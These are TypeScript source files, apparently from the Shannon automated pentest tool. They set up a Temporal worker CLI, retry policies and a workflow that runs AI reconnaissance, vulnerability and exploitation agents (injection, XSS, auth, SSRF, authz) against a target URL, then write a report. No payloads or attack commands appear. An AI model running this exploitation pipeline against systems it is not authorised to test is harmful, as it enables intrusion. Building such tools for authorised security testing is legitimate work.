* --task-queue <name> Task queue name (required, unique per scan)
* --config <path> Configuration file path
* --output <path> Output directory for workspaces
* --workspace <name> Resume from existing workspace
* --pipeline-testing Use minimal prompts for fast testing
*
* Environment:
* TEMPORAL_ADDRESS - Temporal server address (default: localhost:7233)
*/
import fs from 'node:fs';
import path from 'node:path';
import { fileURLToPath } from 'node:url';
import { Client, Connection, type WorkflowHandle, WorkflowNotFoundError } from '@temporalio/client';
import { bundleWorkflowCode, NativeConnection, Worker } from '@temporalio/worker';
import dotenv from 'dotenv';
import { sanitizeHostname } from '../audit/utils.js';
import { parseConfig } from '../config-parser.js';
import type { PipelineConfig } from '../types/config.js';
import { fileExists, readJson } from '../utils/file-io.js';
import * as activities from './activities.js';
import type { PipelineInput, PipelineProgress, PipelineState } from './shared.js';
dotenv.config();
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const PROGRESS_QUERY = 'getProgress';
// === CLI Argument Parsing ===
interface CliArgs {
webUrl: string;
repoPath: string;
taskQueue: string;
configPath?: string;
outputPath?: string;
pipelineTestingMode: boolean;
resumeFromWorkspace?: string;
}
function showUsage(): void {
console.log('\nShannon Worker');
console.log('Combined worker + client for pentest pipeline\n');
console.log('Usage:');
console.log(' node dist/temporal/worker.js <webUrl> <repoPath> --task-queue <name> [options]\n');
console.log('Options:');
console.log(' --task-queue <name> Task queue name (required)');
console.log(' --config <path> Configuration file path');
console.log(' --workspace <name> Resume from existing workspace');
console.log(' --pipeline-testing Use minimal prompts for fast testing\n');
}
function parseCliArgs(argv: string[]): CliArgs {
if (argv.includes('--help') || argv.includes('-h') || argv.length === 0) {
showUsage();
process.exit(0);
}
let webUrl: string | undefined;
let repoPath: string | undefined;
let taskQueue: string | undefined;
let configPath: string | undefined;
let outputPath: string | undefined;
let pipelineTestingMode = false;
let resumeFromWorkspace: string | undefined;
for (let i = 0; i < argv.length; i++) {
const arg = argv[i];
if (arg === '--task-queue') {
const nextArg = argv[i + 1];
if (nextArg && !nextArg.startsWith('-')) {
taskQueue = nextArg;
i++;
}
} else if (arg === '--config') {
const nextArg = argv[i + 1];
if (nextArg && !nextArg.startsWith('-')) {
configPath = nextArg;
i++;
}
} else if (arg === '--output') {
const nextArg = argv[i + 1];
if (nextArg && !nextArg.startsWith('-')) {
outputPath = nextArg;
i++;
}
} else if (arg === '--workspace') {
const nextArg = argv[i + 1];
if (nextArg && !nextArg.startsWith('-')) {
resumeFromWorkspace = nextArg;
i++;
}
} else if (arg === '--pipeline-testing') {
pipelineTestingMode = true;
} else if (arg && !arg.startsWith('-')) {
if (!webUrl) {
webUrl = arg;
} else if (!repoPath) {
repoPath = arg;
}
}
}
if (!webUrl || !repoPath) {
console.error('Error: webUrl and repoPath are required');
showUsage();
process.exit(1);
}
if (!taskQueue) {
console.error('Error: --task-queue is required');
showUsage();
process.exit(1);
}
return {
webUrl,
repoPath,
taskQueue,
pipelineTestingMode,
...(configPath && { configPath }),
...(outputPath && { outputPath }),
...(resumeFromWorkspace && { resumeFromWorkspace }),
};
}
// === Workspace Resolution ===
interface SessionJson {
session: {
id: string;
webUrl: string;
originalWorkflowId?: string;
resumeAttempts?: Array<{ workflowId: string }>;
};
metrics: {
total_cost_usd: number;
};
}
function isValidWorkspaceName(name: string): boolean {
return /^[a-zA-Z0-9][a-zA-Z0-9_-]{0,127}$/.test(name);
}
interface WorkspaceResolution {
workflowId: string;
sessionId: string;
isResume: boolean;
terminatedWorkflows: string[];
}
async function terminateExistingWorkflows(client: Client, workspaceName: string): Promise<string[]> {
const sessionPath = path.join('./workspaces', workspaceName, 'session.json');
if (!(await fileExists(sessionPath))) {
throw new Error(`Workspace not found: ${workspaceName}\n` + `Expected path: ${sessionPath}`);
}
const session = await readJson<SessionJson>(sessionPath);
const workflowIds = [
session.session.originalWorkflowId || session.session.id,
...(session.session.resumeAttempts?.map((r) => r.workflowId) || []),
].filter((id): id is string => id != null);
const terminated: string[] = [];
for (const wfId of workflowIds) {
try {
const handle = client.workflow.getHandle(wfId);
const description = await handle.describe();
if (description.status.name === 'RUNNING') {
console.log(`Terminating running workflow: ${wfId}`);
await handle.terminate('Superseded by resume workflow');
terminated.push(wfId);
console.log(`Terminated: ${wfId}`);
} else {
console.log(`Workflow already ${description.status.name}: ${wfId}`);
}
} catch (error) {
if (error instanceof WorkflowNotFoundError) {
console.log(`Workflow not found (already cleaned up): ${wfId}`);
} else {
console.log(`Failed to terminate ${wfId}: ${error}`);
}
}
}
return terminated;
}
async function resolveWorkspace(client: Client, args: CliArgs): Promise<WorkspaceResolution> {
if (!args.resumeFromWorkspace) {
const hostname = sanitizeHostname(args.webUrl);
const workflowId = `${hostname}_shannon-${Date.now()}`;
return {
workflowId,
sessionId: workflowId,
isResume: false,
terminatedWorkflows: [],
};
}
const workspace = args.resumeFromWorkspace;
const sessionPath = path.join('./workspaces', workspace, 'session.json');
const workspaceExists = await fileExists(sessionPath);
if (workspaceExists) {
console.log('=== RESUME MODE ===');
console.log(`Workspace: ${workspace}\n`);
const terminatedWorkflows = await terminateExistingWorkflows(client, workspace);
if (terminatedWorkflows.length > 0) {
console.log(`Terminated ${terminatedWorkflows.length} previous workflow(s)\n`);
}
const session = await readJson<SessionJson>(sessionPath);
if (session.session.webUrl !== args.webUrl) {
console.error('ERROR: URL mismatch with workspace');
console.error(` Workspace URL: ${session.session.webUrl}`);
console.error(` Provided URL: ${args.webUrl}`);
process.exit(1);
}
return {
workflowId: `${workspace}_resume_${Date.now()}`,
sessionId: workspace,
isResume: true,
terminatedWorkflows,
};
}
if (!isValidWorkspaceName(workspace)) {
console.error(`ERROR: Invalid workspace name: "${workspace}"`);
console.error(' Must be 1-128 characters, alphanumeric/hyphens/underscores, starting with alphanumeric');
process.exit(1);
}
console.log('=== NEW NAMED WORKSPACE ===');
console.log(`Workspace: ${workspace}\n`);
// If the workspace name already looks like a CLI-generated ID
// (ends with _shannon-<digits>), use it directly to avoid double _shannon- suffixes
const workflowId = /_shannon-\d+$/.test(workspace) ? workspace : `${workspace}_shannon-${Date.now()}`;
return {
workflowId,
sessionId: workspace,
isResume: false,
terminatedWorkflows: [],
};
}
// === Pipeline Input Construction ===
async function loadPipelineConfig(configPath: string | undefined): Promise<PipelineConfig> {
if (!configPath) return {};
try {
const config = await parseConfig(configPath);
const raw = config.pipeline;
if (!raw) return {};
const result: PipelineConfig = {};
if (raw.retry_preset !== undefined) {
result.retry_preset = raw.retry_preset;
}
if (raw.max_concurrent_pipelines !== undefined) {
result.max_concurrent_pipelines = Number(raw.max_concurrent_pipelines);
}
return result;
} catch {
return {};
}
}
function buildPipelineInput(
args: CliArgs,
workspace: WorkspaceResolution,
pipelineConfig: PipelineConfig,
): PipelineInput {
return {
webUrl: args.webUrl,
repoPath: args.repoPath,
workflowId: workspace.workflowId,
sessionId: workspace.sessionId,
...(args.configPath && { configPath: args.configPath }),
...(args.pipelineTestingMode && { pipelineTestingMode: args.pipelineTestingMode }),
...(workspace.isResume && args.resumeFromWorkspace && { resumeFromWorkspace: args.resumeFromWorkspace }),
...(workspace.terminatedWorkflows.length > 0 && { terminatedWorkflows: workspace.terminatedWorkflows }),
...(Object.keys(pipelineConfig).length > 0 && { pipelineConfig }),
};
}
// === Workflow Result Handling ===
async function waitForWorkflowResult(
handle: WorkflowHandle<(input: PipelineInput) => Promise<PipelineState>>,
workspace: WorkspaceResolution,
): Promise<void> {
const progressInterval = setInterval(async () => {
try {
const progress = await handle.query<PipelineProgress>(PROGRESS_QUERY);
const elapsed = Math.floor(progress.elapsedMs / 1000);
console.log(
`[${elapsed}s] Phase: ${progress.currentPhase || 'unknown'} | Agent: ${progress.currentAgent || 'none'} | Completed: ${progress.completedAgents.length}/13`,
);
} catch {
// Workflow may have completed
}
}, 30000);
try {
const result = await handle.result();
clearInterval(progressInterval);
console.log('\nPipeline completed successfully!');
if (result.summary) {
console.log(`Duration: ${Math.floor(result.summary.totalDurationMs / 1000)}s`);
console.log(`Agents completed: ${result.summary.agentCount}`);
console.log(`Total turns: ${result.summary.totalTurns}`);
console.log(`Run cost: $${result.summary.totalCostUsd.toFixed(4)}`);
if (workspace.isResume) {
try {
const session = await readJson<SessionJson>(path.join('./workspaces', workspace.sessionId, 'session.json'));
console.log(`Cumulative cost: $${session.metrics.total_cost_usd.toFixed(4)}`);
} catch {
// Non-fatal
}
}
}
} catch (error) {
clearInterval(progressInterval);
console.error('\nPipeline failed:', error);
process.exit(1);
}
}
// === Deliverables Copy ===
function copyDeliverables(repoPath: string, outputPath: string): void {
const deliverablesDir = path.join(repoPath, 'deliverables');
if (!fs.existsSync(deliverablesDir)) {
console.log('No deliverables directory found, skipping copy');
return;
}
const files = fs.readdirSync(deliverablesDir);
if (files.length === 0) {
console.log('No deliverables to copy');
return;
}
fs.mkdirSync(outputPath, { recursive: true });
for (const file of files) {
const src = path.join(deliverablesDir, file);
const dest = path.join(outputPath, file);
fs.cpSync(src, dest, { recursive: true });
}
console.log(`Copied ${files.length} deliverable(s) to ${outputPath}`);
}
// === Main Entry Point ===
async function run(): Promise<void> {
// 1. Parse CLI args
const args = parseCliArgs(process.argv.slice(2));
// 2. Connect to Temporal server
const address = process.env.TEMPORAL_ADDRESS || 'localhost:7233';
console.log(`Connecting to Temporal at ${address}...`);
const connection = await NativeConnection.connect({ address });
const clientConnection = await Connection.connect({ address });
const client = new Client({ connection: clientConnection });
try {
// 3. Bundle workflows and create worker on per-invocation task queue
console.log('Bundling workflows...');
const workflowBundle = await bundleWorkflowCode({
workflowsPath: path.join(__dirname, 'workflows.js'),
});
const worker = await Worker.create({
connection,
namespace: 'default',
workflowBundle,
activities,
taskQueue: args.taskQueue,
maxConcurrentActivityTaskExecutions: 25,
});
// 4. Resolve workspace and build pipeline input
const workspace = await resolveWorkspace(client, args);
const pipelineConfig = await loadPipelineConfig(args.configPath);
const input = buildPipelineInput(args, workspace, pipelineConfig);
// 5. Start worker polling in the background
const workerDone = worker.run();
// 6. Submit workflow to the same task queue
const handle = await client.workflow.start<(input: PipelineInput) => Promise<PipelineState>>(
'pentestPipelineWorkflow',
{
taskQueue: args.taskQueue,
workflowId: workspace.workflowId,
args: [input],
},
);
// 7. Wait for workflow result
await waitForWorkflowResult(handle, workspace);
// 8. Copy deliverables to output directory
if (args.outputPath) {
copyDeliverables(args.repoPath, args.outputPath);
}
// 9. Shut down worker gracefully
worker.shutdown();
await workerDone;
} finally {
await connection.close();
await clientConnection.close();
}
}
run().catch((err) => {
console.error('Worker failed:', err);
process.exit(1);
});
@@ -0,0 +1,88 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Workflow error formatting utilities.
* Pure functions with no side effects — safe for Temporal workflow sandbox.
*/
/** Maps Temporal error type strings to actionable remediation hints. */
const REMEDIATION_HINTS: Record<string, string> = {
AuthenticationError: 'Verify ANTHROPIC_API_KEY or CLAUDE_CODE_OAUTH_TOKEN in .env is valid and not expired.',
ConfigurationError: 'Check your CONFIG file path and contents.',
BillingError: 'Check your Anthropic billing dashboard. Add credits or wait for spending cap reset.',
GitError: 'Check repository path and git state.',
InvalidTargetError: 'Verify the target URL is correct and accessible.',
PermissionError: 'Check file and network permissions.',
ExecutionLimitError: 'Agent exceeded maximum turns or budget. Review prompt complexity.',
};
/**
* Walk the .cause chain to find the innermost error with a .type property.
* Temporal wraps ApplicationFailure in ActivityFailure — the useful info is inside.
*
* Uses duck-typing because workflow code cannot import @temporalio/activity types.
*/
function unwrapActivityError(error: unknown): {
message: string;
type: string | null;
} {
let current: unknown = error;
let typed: { message: string; type: string } | null = null;
while (current instanceof Error) {
if ('type' in current && typeof (current as { type: unknown }).type === 'string') {
typed = {
message: current.message,
type: (current as { type: string }).type,
};
}
current = (current as { cause?: unknown }).cause;
}
if (typed) {
return typed;
}
return {
message: error instanceof Error ? error.message : String(error),
type: null,
};
}
/**
* Format a structured error string from workflow catch context.
* Segments are delimited by | for multi-line rendering by WorkflowLogger.
*/
export function formatWorkflowError(error: unknown, currentPhase: string | null, currentAgent: string | null): string {
const unwrapped = unwrapActivityError(error);
// Phase context (first segment)
let phaseContext = 'Pipeline failed';
if (currentPhase && currentAgent && currentPhase !== currentAgent) {
phaseContext = `${currentPhase} failed (agent: ${currentAgent})`;
} else if (currentPhase) {
phaseContext = `${currentPhase} failed`;
}
const segments: string[] = [phaseContext];
if (unwrapped.type) {
segments.push(unwrapped.type);
}
// Sanitize pipe characters from message to preserve delimiter format
segments.push(unwrapped.message.replaceAll('|', '/'));
if (unwrapped.type) {
const hint = REMEDIATION_HINTS[unwrapped.type];
if (hint) {
segments.push(`Hint: ${hint}`);
}
}
return segments.join('|');
}
+484
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Temporal workflow for Shannon pentest pipeline.
*
* Orchestrates the penetration testing workflow:
* 1. Pre-Reconnaissance (sequential)
* 2. Reconnaissance (sequential)
* 3-4. Vulnerability + Exploitation (5 pipelined pairs in parallel)
* Each pair: vuln agent → queue check → conditional exploit
* No synchronization barrier - exploits start when their vuln finishes
* 5. Reporting (sequential)
*
* Features:
* - Queryable state via getProgress
* - Automatic retry with backoff for transient/billing errors
* - Non-retryable classification for permanent errors
* - Audit correlation via workflowId
* - Graceful failure handling: pipelines continue if one fails
*/
import { log, proxyActivities, setHandler, workflowInfo } from '@temporalio/workflow';
import type { AgentName, VulnType } from '../types/agents.js';
import { ALL_AGENTS } from '../types/agents.js';
import type * as activities from './activities.js';
import type { ActivityInput } from './activities.js';
import {
type AgentMetrics,
getProgress,
type PipelineInput,
type PipelineProgress,
type PipelineState,
type PipelineSummary,
type ResumeState,
type VulnExploitPipelineResult,
} from './shared.js';
import { toWorkflowSummary } from './summary-mapper.js';
import { formatWorkflowError } from './workflow-errors.js';
// Retry configuration for production (long intervals for billing recovery)
const PRODUCTION_RETRY = {
initialInterval: '5 minutes',
maximumInterval: '30 minutes',
backoffCoefficient: 2,
maximumAttempts: 50,
nonRetryableErrorTypes: [
'AuthenticationError',
'PermissionError',
'InvalidRequestError',
'RequestTooLargeError',
'ConfigurationError',
'InvalidTargetError',
'ExecutionLimitError',
],
};
// Retry configuration for pipeline testing (fast iteration)
const TESTING_RETRY = {
initialInterval: '10 seconds',
maximumInterval: '30 seconds',
backoffCoefficient: 2,
maximumAttempts: 5,
nonRetryableErrorTypes: PRODUCTION_RETRY.nonRetryableErrorTypes,
};
// Activity proxy with production retry configuration (default)
const acts = proxyActivities<typeof activities>({
startToCloseTimeout: '2 hours',
heartbeatTimeout: '60 minutes', // Extended for sub-agent execution (SDK blocks event loop during Task tool calls)
retry: PRODUCTION_RETRY,
});
// Activity proxy with testing retry configuration (fast)
const testActs = proxyActivities<typeof activities>({
startToCloseTimeout: '30 minutes',
heartbeatTimeout: '30 minutes', // Extended for sub-agent execution in testing
retry: TESTING_RETRY,
});
// Retry configuration for subscription plans (5h+ rolling rate limit windows)
const SUBSCRIPTION_RETRY = {
initialInterval: '5 minutes',
maximumInterval: '6 hours',
backoffCoefficient: 2,
maximumAttempts: 100,
nonRetryableErrorTypes: PRODUCTION_RETRY.nonRetryableErrorTypes,
};
// Activity proxy for subscription plan recovery (extended timeouts)
const subscriptionActs = proxyActivities<typeof activities>({
startToCloseTimeout: '8 hours',
heartbeatTimeout: '2 hours',
retry: SUBSCRIPTION_RETRY,
});
// Retry configuration for preflight validation (short timeout, few retries)
const PREFLIGHT_RETRY = {
initialInterval: '10 seconds',
maximumInterval: '1 minute',
backoffCoefficient: 2,
maximumAttempts: 3,
nonRetryableErrorTypes: PRODUCTION_RETRY.nonRetryableErrorTypes,
};
// Activity proxy for preflight validation (short timeout)
const preflightActs = proxyActivities<typeof activities>({
startToCloseTimeout: '2 minutes',
heartbeatTimeout: '2 minutes',
retry: PREFLIGHT_RETRY,
});
/**
* Compute aggregated metrics from the current pipeline state.
* Called on both success and failure to provide partial metrics.
*/
function computeSummary(state: PipelineState): PipelineSummary {
const metrics = Object.values(state.agentMetrics);
return {
totalCostUsd: metrics.reduce((sum, m) => sum + (m.costUsd ?? 0), 0),
totalDurationMs: Date.now() - state.startTime,
totalTurns: metrics.reduce((sum, m) => sum + (m.numTurns ?? 0), 0),
agentCount: state.completedAgents.length,
};
}
export async function pentestPipelineWorkflow(input: PipelineInput): Promise<PipelineState> {
const { workflowId } = workflowInfo();
// Select activity proxy based on mode: testing (fast), subscription (extended), or default
function selectActivityProxy(pipelineInput: PipelineInput) {
if (pipelineInput.pipelineTestingMode) return testActs;
if (pipelineInput.pipelineConfig?.retry_preset === 'subscription') return subscriptionActs;
return acts;
}
const a = selectActivityProxy(input);
const state: PipelineState = {
status: 'running',
currentPhase: null,
currentAgent: null,
completedAgents: [],
failedAgent: null,
error: null,
startTime: Date.now(),
agentMetrics: {},
summary: null,
};
setHandler(
getProgress,
(): PipelineProgress => ({
...state,
workflowId,
elapsedMs: Date.now() - state.startTime,
}),
);
// Build ActivityInput with required workflowId for audit correlation
// Activities require workflowId (non-optional), PipelineInput has it optional
// Use spread to conditionally include optional properties (exactOptionalPropertyTypes)
// sessionId is workspace name for resume, or workflowId for new runs
const sessionId = input.sessionId || input.resumeFromWorkspace || workflowId;
const activityInput: ActivityInput = {
webUrl: input.webUrl,
repoPath: input.repoPath,
workflowId,
sessionId,
...(input.configPath !== undefined && { configPath: input.configPath }),
...(input.outputPath !== undefined && { outputPath: input.outputPath }),
...(input.pipelineTestingMode !== undefined && {
pipelineTestingMode: input.pipelineTestingMode,
}),
};
let resumeState: ResumeState | null = null;
if (input.resumeFromWorkspace) {
// 1. Load resume state (validates workspace, cross-checks deliverables)
resumeState = await a.loadResumeState(input.resumeFromWorkspace, input.webUrl, input.repoPath);
// 2. Restore git workspace and clean up incomplete deliverables
const incompleteAgents = ALL_AGENTS.filter(
(agentName) => !resumeState?.completedAgents.includes(agentName),
) as AgentName[];
await a.restoreGitCheckpoint(input.repoPath, resumeState.checkpointHash, incompleteAgents);
// 3. Short-circuit if all agents already completed
if (resumeState.completedAgents.length === ALL_AGENTS.length) {
log.info(`All ${ALL_AGENTS.length} agents already completed. Nothing to resume.`);
state.status = 'completed';
state.completedAgents = [...resumeState.completedAgents];
state.summary = computeSummary(state);
return state;
}
// 4. Record this resume attempt in session.json and workflow.log
await a.recordResumeAttempt(
activityInput,
input.terminatedWorkflows || [],
resumeState.checkpointHash,
resumeState.originalWorkflowId,
resumeState.completedAgents,
);
log.info('Resume state loaded and workspace restored');
}
const shouldSkip = (agentName: string): boolean => {
return resumeState?.completedAgents.includes(agentName) ?? false;
};
// Run a sequential agent phase (pre-recon, recon)
async function runSequentialPhase(
phaseName: string,
agentName: AgentName,
runAgent: (input: ActivityInput) => Promise<AgentMetrics>,
): Promise<void> {
if (!shouldSkip(agentName)) {
state.currentPhase = phaseName;
state.currentAgent = agentName;
await a.logPhaseTransition(activityInput, phaseName, 'start');
state.agentMetrics[agentName] = await runAgent(activityInput);
state.completedAgents.push(agentName);
await a.logPhaseTransition(activityInput, phaseName, 'complete');
} else {
log.info(`Skipping ${agentName} (already complete)`);
state.completedAgents.push(agentName);
}
}
// Build pipeline configs for the 5 vuln→exploit pairs
function buildPipelineConfigs(): Array<{
vulnType: VulnType;
vulnAgent: string;
exploitAgent: string;
runVuln: () => Promise<AgentMetrics>;
runExploit: () => Promise<AgentMetrics>;
}> {
return [
{
vulnType: 'injection',
vulnAgent: 'injection-vuln',
exploitAgent: 'injection-exploit',
runVuln: () => a.runInjectionVulnAgent(activityInput),
runExploit: () => a.runInjectionExploitAgent(activityInput),
},
{
vulnType: 'xss',
vulnAgent: 'xss-vuln',
exploitAgent: 'xss-exploit',
runVuln: () => a.runXssVulnAgent(activityInput),
runExploit: () => a.runXssExploitAgent(activityInput),
},
{
vulnType: 'auth',
vulnAgent: 'auth-vuln',
exploitAgent: 'auth-exploit',
runVuln: () => a.runAuthVulnAgent(activityInput),
runExploit: () => a.runAuthExploitAgent(activityInput),
},
{
vulnType: 'ssrf',
vulnAgent: 'ssrf-vuln',
exploitAgent: 'ssrf-exploit',
runVuln: () => a.runSsrfVulnAgent(activityInput),
runExploit: () => a.runSsrfExploitAgent(activityInput),
},
{
vulnType: 'authz',
vulnAgent: 'authz-vuln',
exploitAgent: 'authz-exploit',
runVuln: () => a.runAuthzVulnAgent(activityInput),
runExploit: () => a.runAuthzExploitAgent(activityInput),
},
];
}
// Aggregate results from settled pipeline promises into workflow state
function aggregatePipelineResults(results: PromiseSettledResult<VulnExploitPipelineResult>[]): void {
const failedPipelines: string[] = [];
for (const result of results) {
if (result.status === 'fulfilled') {
const { vulnType, vulnMetrics, exploitMetrics } = result.value;
const vulnAgentName = `${vulnType}-vuln`;
if (vulnMetrics) {
state.agentMetrics[vulnAgentName] = vulnMetrics;
state.completedAgents.push(vulnAgentName);
} else if (shouldSkip(vulnAgentName)) {
state.completedAgents.push(vulnAgentName);
}
const exploitAgentName = `${vulnType}-exploit`;
if (exploitMetrics) {
state.agentMetrics[exploitAgentName] = exploitMetrics;
state.completedAgents.push(exploitAgentName);
} else if (shouldSkip(exploitAgentName)) {
state.completedAgents.push(exploitAgentName);
}
} else {
const errorMsg = result.reason instanceof Error ? result.reason.message : String(result.reason);
failedPipelines.push(errorMsg);
}
}
if (failedPipelines.length > 0) {
log.warn(`${failedPipelines.length} pipeline(s) failed`, {
failures: failedPipelines,
});
}
}
// Run thunks with a concurrency limit, returning PromiseSettledResult for each.
// When limit >= thunks.length (default), all launch concurrently — identical to Promise.allSettled.
// NOTE: Results are in completion order, not input order. Callers must key on value fields, not index.
async function runWithConcurrencyLimit(
thunks: Array<() => Promise<VulnExploitPipelineResult>>,
limit: number,
): Promise<PromiseSettledResult<VulnExploitPipelineResult>[]> {
const results: PromiseSettledResult<VulnExploitPipelineResult>[] = [];
const inFlight = new Set<Promise<void>>();
for (const thunk of thunks) {
const slot = thunk()
.then(
(value) => {
results.push({ status: 'fulfilled', value });
},
(reason: unknown) => {
results.push({ status: 'rejected', reason });
},
)
.finally(() => {
inFlight.delete(slot);
});
inFlight.add(slot);
if (inFlight.size >= limit) {
await Promise.race(inFlight);
}
}
await Promise.allSettled(inFlight);
return results;
}
try {
// === Preflight Validation ===
// Quick sanity checks before committing to expensive agent runs.
// NOT using runSequentialPhase — preflight doesn't produce AgentMetrics.
state.currentPhase = 'preflight';
state.currentAgent = null;
await preflightActs.runPreflightValidation(activityInput);
log.info('Preflight validation passed');
// === Phase 1: Pre-Reconnaissance ===
await runSequentialPhase('pre-recon', 'pre-recon', a.runPreReconAgent);
// === Phase 2: Reconnaissance ===
await runSequentialPhase('recon', 'recon', a.runReconAgent);
// === Phases 3-4: Vulnerability Analysis + Exploitation (Pipelined) ===
// Each vuln type runs as an independent pipeline:
// vuln agent → queue check → conditional exploit agent
// Exploits start immediately when their vuln finishes, not waiting for all.
state.currentPhase = 'vulnerability-exploitation';
state.currentAgent = 'pipelines';
await a.logPhaseTransition(activityInput, 'vulnerability-exploitation', 'start');
// Closure over shouldSkip and activityInput by design (Temporal replay safety)
async function runVulnExploitPipeline(
vulnType: VulnType,
runVulnAgent: () => Promise<AgentMetrics>,
runExploitAgent: () => Promise<AgentMetrics>,
): Promise<VulnExploitPipelineResult> {
const vulnAgentName = `${vulnType}-vuln`;
const exploitAgentName = `${vulnType}-exploit`;
// 1. Run vulnerability analysis (or skip if resumed)
let vulnMetrics: AgentMetrics | null = null;
if (!shouldSkip(vulnAgentName)) {
vulnMetrics = await runVulnAgent();
} else {
log.info(`Skipping ${vulnAgentName} (already complete)`);
}
// 2. Check exploitation queue for actionable findings
const decision = await a.checkExploitationQueue(activityInput, vulnType);
// 3. Conditionally run exploitation agent
let exploitMetrics: AgentMetrics | null = null;
if (decision.shouldExploit) {
if (!shouldSkip(exploitAgentName)) {
exploitMetrics = await runExploitAgent();
} else {
log.info(`Skipping ${exploitAgentName} (already complete)`);
}
}
return {
vulnType,
vulnMetrics,
exploitMetrics,
exploitDecision: {
shouldExploit: decision.shouldExploit,
vulnerabilityCount: decision.vulnerabilityCount,
},
error: null,
};
}
const maxConcurrent = input.pipelineConfig?.max_concurrent_pipelines ?? 5;
const pipelineConfigs = buildPipelineConfigs();
const pipelineThunks: Array<() => Promise<VulnExploitPipelineResult>> = [];
for (const config of pipelineConfigs) {
if (!shouldSkip(config.vulnAgent) || !shouldSkip(config.exploitAgent)) {
pipelineThunks.push(() => runVulnExploitPipeline(config.vulnType, config.runVuln, config.runExploit));
} else {
log.info(`Skipping entire ${config.vulnType} pipeline (both agents complete)`);
state.completedAgents.push(config.vulnAgent, config.exploitAgent);
}
}
const pipelineResults = await runWithConcurrencyLimit(pipelineThunks, maxConcurrent);
aggregatePipelineResults(pipelineResults);
state.currentPhase = 'exploitation';
state.currentAgent = null;
await a.logPhaseTransition(activityInput, 'vulnerability-exploitation', 'complete');
// === Phase 5: Reporting ===
if (!shouldSkip('report')) {
state.currentPhase = 'reporting';
state.currentAgent = 'report';
await a.logPhaseTransition(activityInput, 'reporting', 'start');
// First, assemble the concatenated report from exploitation evidence files
await a.assembleReportActivity(activityInput);
// Then run the report agent to add executive summary and clean up
state.agentMetrics.report = await a.runReportAgent(activityInput);
state.completedAgents.push('report');
// Inject model metadata into the final report
await a.injectReportMetadataActivity(activityInput);
await a.logPhaseTransition(activityInput, 'reporting', 'complete');
} else {
log.info('Skipping report (already complete)');
state.completedAgents.push('report');
}
state.status = 'completed';
state.currentPhase = null;
state.currentAgent = null;
state.summary = computeSummary(state);
// Log workflow completion summary
await a.logWorkflowComplete(activityInput, toWorkflowSummary(state, 'completed'));
return state;
} catch (error) {
state.status = 'failed';
state.failedAgent = state.currentAgent;
state.error = formatWorkflowError(error, state.currentPhase, state.currentAgent);
state.summary = computeSummary(state);
// Log workflow failure summary
await a.logWorkflowComplete(activityInput, toWorkflowSummary(state, 'failed'));
throw error;
}
}
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#!/usr/bin/env node
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Workspace listing tool for Shannon.
*
* Reads workspaces/ directories, parses session.json files, and displays
* a formatted table of all workspaces with status, duration, and cost.
*
* Usage:
* node dist/temporal/workspaces.js
*
* Environment:
* WORKSPACES_DIR - Override workspaces directory (default: ./workspaces)
*/
import fs from 'node:fs/promises';
import path from 'node:path';
import { WORKSPACES_DIR as DEFAULT_WORKSPACES_DIR } from '../paths.js';
interface SessionJson {
session: {
id: string;
webUrl: string;
status: 'in-progress' | 'completed' | 'failed';
createdAt: string;
completedAt?: string;
};
metrics: {
total_cost_usd: number;
};
}
interface WorkspaceInfo {
name: string;
url: string;
status: 'in-progress' | 'completed' | 'failed';
createdAt: Date;
completedAt: Date | null;
costUsd: number;
}
function formatDuration(ms: number): string {
const seconds = Math.floor(ms / 1000);
const minutes = Math.floor(seconds / 60);
const hours = Math.floor(minutes / 60);
if (hours > 0) {
return `${hours}h ${minutes % 60}m`;
}
if (minutes > 0) {
return `${minutes}m`;
}
return `${seconds}s`;
}
function getStatusDisplay(status: string): string {
return status;
}
function truncate(str: string, maxLen: number): string {
if (str.length <= maxLen) return str;
return `${str.slice(0, maxLen - 1)}\u2026`;
}
async function listWorkspaces(): Promise<void> {
const workspacesDir = process.env.WORKSPACES_DIR || DEFAULT_WORKSPACES_DIR;
let entries: string[];
try {
entries = await fs.readdir(workspacesDir);
} catch {
console.log('No workspaces directory found.');
console.log(`Expected: ${workspacesDir}`);
return;
}
const workspaces: WorkspaceInfo[] = [];
for (const entry of entries) {
const sessionPath = path.join(workspacesDir, entry, 'session.json');
try {
const content = await fs.readFile(sessionPath, 'utf8');
const data = JSON.parse(content) as SessionJson;
workspaces.push({
name: entry,
url: data.session.webUrl,
status: data.session.status,
createdAt: new Date(data.session.createdAt),
completedAt: data.session.completedAt ? new Date(data.session.completedAt) : null,
costUsd: data.metrics.total_cost_usd,
});
} catch {
// Skip directories without valid session.json
}
}
if (workspaces.length === 0) {
console.log('\nNo workspaces found.');
console.log('Run a pipeline first: ./shannon start -u <url> -r <repo>');
return;
}
// Sort by creation date (most recent first)
workspaces.sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime());
console.log('\n=== Shannon Workspaces ===\n');
// Column widths
const nameWidth = 30;
const urlWidth = 30;
const statusWidth = 14;
const durationWidth = 10;
const costWidth = 10;
// Header
console.log(
' ' +
'WORKSPACE'.padEnd(nameWidth) +
'URL'.padEnd(urlWidth) +
'STATUS'.padEnd(statusWidth) +
'DURATION'.padEnd(durationWidth) +
'COST'.padEnd(costWidth),
);
console.log(` ${'\u2500'.repeat(nameWidth + urlWidth + statusWidth + durationWidth + costWidth)}`);
let resumableCount = 0;
for (const ws of workspaces) {
const now = new Date();
const endTime = ws.completedAt || now;
const durationMs = endTime.getTime() - ws.createdAt.getTime();
const duration = formatDuration(durationMs);
const cost = `$${ws.costUsd.toFixed(2)}`;
const isResumable = ws.status !== 'completed';
if (isResumable) {
resumableCount++;
}
const resumeTag = isResumable ? ' (resumable)' : '';
console.log(
' ' +
truncate(ws.name, nameWidth - 2).padEnd(nameWidth) +
truncate(ws.url, urlWidth - 2).padEnd(urlWidth) +
getStatusDisplay(ws.status).padEnd(statusWidth) +
duration.padEnd(durationWidth) +
cost.padEnd(costWidth) +
resumeTag,
);
}
console.log();
const summary = `${workspaces.length} workspace${workspaces.length === 1 ? '' : 's'} found`;
const resumeSummary = resumableCount > 0 ? ` (${resumableCount} resumable)` : '';
